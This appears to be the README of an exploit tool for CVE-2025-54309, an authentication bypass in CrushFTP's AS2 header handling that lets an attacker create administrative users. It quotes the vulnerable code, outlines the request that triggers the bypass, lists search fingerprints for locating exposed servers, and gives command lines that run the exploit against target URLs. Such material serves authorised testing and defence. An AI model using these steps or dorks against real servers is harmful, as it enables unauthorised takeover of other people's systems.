
CrushFTP AS2 Authentication Bypass
CVE-2025-54309 is an authentication bypass vulnerability in CrushFTP that allows unauthorized administrative user creation through AS2 header manipulation.
crushftp/server/ServerSessionHTTP.javaloginCheckHeaderAuth() (line 2285)} else if (this.headerLookup.containsKey("as2-to".toUpperCase())) {
if (this.headerLookup.getProperty("as2-to".toUpperCase()).trim().indexOf("-_-") < 0 && !ServerStatus.BG("blank_passwords")) {
return; // Authentication bypass occurs here
}
/WebInterface/function/ with empty AS2-To headersetUserItem command in request body-_- delimiter in AS2-To headerhttp.server_hash:525710691,-1319113083,2114359341,1401270286,-608770667http.favicon.hash:-1022206565"/WebInterface/w3c/p3p.xml"intitle:"CrushFTP WebInterface"inurl:"/WebInterface/login.html"python3 cve_2025_54309.py <target_url> [-u username] [-p password] [-v]
# Basic exploitation
python3 cve_2025_54309.py http://crushftp.example.com:8080
# Custom credentials
python3 cve_2025_54309.py https://crushftp.example.com -u kali -p kali1
# With login verification
python3 cve_2025_54309.py http://crushftp.example.com -v
This tool is for authorized security testing only. Users are responsible for compliance with applicable laws and regulations.